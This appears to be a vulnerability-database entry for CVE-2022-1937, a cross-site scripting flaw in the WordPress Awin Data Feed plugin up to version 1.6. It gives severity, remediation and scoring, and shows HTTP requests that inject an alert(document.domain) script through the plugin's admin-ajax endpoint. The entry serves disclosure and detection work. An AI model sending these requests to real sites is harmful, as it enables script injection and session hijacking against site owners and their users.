🔙 목록으로 돌아가기

CVE-2022-1937: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting

TitleWordPress Awin Data Feed <=1.6 - Cross-Site Scripting
AuthorAkincibor,DhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.05048
CVE IDCVE-2022-1937
CWE IDCWE-79
Tags cve cve2022 xss awin wpscan wp-plugin wp wordpress authenticated vuln

🔍 Vulnerability Description

WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=emDDVD&pwd=vZ5Cek&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1937.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1937.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A